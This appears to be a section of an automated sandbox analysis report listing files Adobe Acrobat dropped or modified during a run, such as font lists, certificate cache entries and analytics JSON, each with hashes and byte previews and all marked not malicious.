SHA-512:	8AF53AA563AC90DE99B6B6E8007CED916FA8793BC7A307F0245EF4FEC3A1DDD2A5A773495F2B438D4754D225DCEE040C414E4192C48DDC0042C2F673742318CB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7752706871469703
Encrypted:	false
SSDEEP:	48:7Mop/E2ioyVeioy9oWoy1Cwoy1GKOioy1noy1AYoy1Wioy1hioybioygoy1noy1q:7jpjueFhXKQxeb9IVXEBodRBkoQ
MD5:	D3F57E671F3E6473E8003614BC3B44F8
SHA1:	24A8911D69FADA10FE82CEFEAEC12614C8642E28
SHA-256:	8B864DC1FD75615385CF54E0321A0A6E0654E172A176DF6B9707E7A314CDDC2B
SHA-512:	8D3D7F8FB60212EFABCAFD2F474D0C9295F2E7F8910CED73E06BBEC043EA97CED939326C7282823718349CD8E2AFA3E240F700B00ADEC23DF566A286F21E5AA7
Malicious:	false
Preview:	.... .c.......q................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklrj4+WltfllXlE/HT8kfJ1NNX8RolJuRdxLlGB9lQRYwpDdt:kKNneT8wpNMa8RdWBwRd
MD5:	09FEE251732C12C4B859ADCDD1216BCE
SHA1:	E75B8E17181DABC74BC811A88E60454A5216C0D2
SHA-256:	556ABF05B63B63355E8BB6FCE9747F9D5A212A9AD32E739F83AE5F04521D126B
SHA-512:	CE1BFFADFCA849B926B66B66F51C80C99BB6EC86745F298F46E6160EA842B1F664A506C3CF5F2093ED009D35277971CDC70005C08931D471362679AA1648E55F
Malicious:	false
Preview:	p...... ........XF.[.c..(....................................................... ..........W....j...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1292855227559153
Encrypted:	false
SSDEEP:	6:kKh2L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:52iDnLNkPlE99SNxAhUe/3
MD5:	33D100032DBD5F97B0F9263013E34DA4
SHA1:	C6CD02FA496A9F200B482B98CAE7F438FC803394
SHA-256:	6578A5A3FACD4A3204E1475CC7588FAB1D39705ADBA4FE667614F8D337486BC6
SHA-512:	28EB424B9674F9B3FAC7C8EA0616AC35BF3ED2AB87E656DF386FB3C49EC97AD5D62A47FC41935CB3075ACC4F4F67040B51A6636442E8C163D356C29BAC7A98D5
Malicious:	false
Preview:	p...... ..........<n.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5324

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5324

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.370518270243816
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHndiRdt1eVoZcg1vRcR0YpoAvJM3g98kUwPeUkwRe9:YvXKX4DZc0vxGMbLUkee9
MD5:	1EC36DFB81A144E0CF321FF5215BE494
SHA1:	521391576692C6CD4C03F216C146F05B2DF874F8
SHA-256:	61C0DF4B237A2D089B71B52DC58934888603AB934D9F52F3601D358266857A64
SHA-512:	2744D7EFACBC2299F5D4F2E9603EF01293D03BD99FCE8E2ACD8EE9A7E4B37D4058FDC1722A595E3C7380F9C10F3E5A92DB8377A69B9C87A1939EA758590981D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.320353082201197
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHndiRdt1eVoZcg1vRcR0YpoAvJfBoTfXpnrPeUkwRe9:YvXKX4DZc0vxGWTfXcUkee9
MD5:	9E465176512E75852B5356D198B17C79
SHA1:	722255C9E22D28012E245A5E477EEDE3CB55285F
SHA-256:	1B9F28D65F93CA06BD12C7C4DB17C580776D93C55379641400700727704D2C63
SHA-512:	4630888BE1C9D8F82EB79C4DA2F900CB10936371A29EB843616E2538702C248DA00A66F8CCA381313FD8CCAD0EB8A10024064072551BCC67D60C9B5AF25A7E9E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2986125775590045
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHndiRdt1eVoZcg1vRcR0YpoAvJfBD2G6UpnrPeUkwRe9:YvXKX4DZc0vxGR22cUkee9
MD5:	AE07A4AFF67FBAE07882930EEEC09CFD
SHA1:	669BDFF30AB64ED33CC5E1D5A58985C0BA596F09
SHA-256:	6FA578CEB080E69DDBD54DC7555BC7B89C2A9AF266EAC222A9E6839DCB7AD423
SHA-512:	268AF9FEB56E101C22E04885EE7AEECEE4E603F67008FC58A7A5A4932C6D732B63BE49B4C05F0AF312F56D7F5D7528D19CA4843AEB9734297CC4EA16933280D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.357779824997804
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHndiRdt1eVoZcg1vRcR0YpoAvJfPmwrPeUkwRe9:YvXKX4DZc0vxGH56Ukee9
MD5:	3D4735A8714EB810A57DF5D5AA1A4A90
SHA1:	44775824D0308343B5E64A5320F5DEB56769C48B
SHA-256:	0FEA01DAB3E0586F4E5CAEB5D0E877C18C5112D96749CD823BC949E28380126B
SHA-512:	70A08CE6D8B89B32AFCE6B637348CF740040B8307016ABA590AED5A2D281D2BEAE035D35803D9A071DBCA7814AE5233D126DE31AD3D73D05127AE0F75D776072
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.694468070875741
Encrypted:	false
SSDEEP:	24:Yv6X0zv2pLgE9cQx8LennAvzBvkn0RCmK8czOCCSX:Yv7Ohgy6SAFv5Ah8cv/X
MD5:	44A5A4DC691FF6E04F880CB676E36378
SHA1:	0626454D4FBB8960204B565E4E08C04A89BA7639
SHA-256:	A2C1F98A39CC43F3D361FD2149F0161EA526577F5E1FFA90A26A52418C06DAD0
SHA-512:	84FF18A6E120A673083055830BCE5050BF8F15C6A55CB84F64521155EA1CE3CD8279D9C1D263911EA92B9B95C75AEA9F3DB2DB2AF44468CD3B6A4B2888CA5C22
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.307023346813302
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHndiRdt1eVoZcg1vRcR0YpoAvJf8dPeUkwRe9:YvXKX4DZc0vxGU8Ukee9
MD5:	1CFA0B51DDDD0CEC7E7DB85E2F249A58
SHA1:	3F402979F9BAAC552F5244D03E5C7D56FB7D6BE2
SHA-256:	C70F0CE03B3CF12B48887313F7145C357BC82573F1F160C9AA065F3DEDC238F7
SHA-512:	02D78AF7B80405621B94C182BFC7BCBCA509725B3FEEE01F180E21C4892DAD9FFFE93D297086A4991B8843D95EAECB168CF2C60C4256ADD8445EC6FD0CFC33D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.310503999927622
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHndiRdt1eVoZcg1vRcR0YpoAvJfQ1rPeUkwRe9:YvXKX4DZc0vxGY16Ukee9
MD5:	804E103AB43C04CDFD1AC883EE9892FA
SHA1:	672C5AB44D899A81E1B95A7FA262F12F845CB57C
SHA-256:	683BB29CD1D49DE30E6B210217CC94010B56347236B56ED23E0F3DA8DE0065D8
SHA-512:	5F61A7C6CA9A99B0C0AC6D89F4189F7C7318EE977F7467AA92B20ED52F9A0A29FF4130C22F2967CC1C2A31EDE5840C77A4354F1B2A76F72268574F03E8974EB6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317331600612765
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHndiRdt1eVoZcg1vRcR0YpoAvJfFldPeUkwRe9:YvXKX4DZc0vxGz8Ukee9
MD5:	206F111E194C286251819C72E3B1C00F
SHA1:	F229A2D0185DC7D5DAE3FFB9A333F9593B03E38C
SHA-256:	DCE4720E6EB1D8231E009EEF0DAAFF71C1AA79C5D89A846F1C55481E1758F4CB
SHA-512:	5E4454387DF7AFD9BF59163C9C919A2D4BDAA473FCA4D67332639E216524634A7942A2FC02D767AF23BA9E18C2F865C2086A8031590D42DE7190E8B008A47C17
Malicious:	false
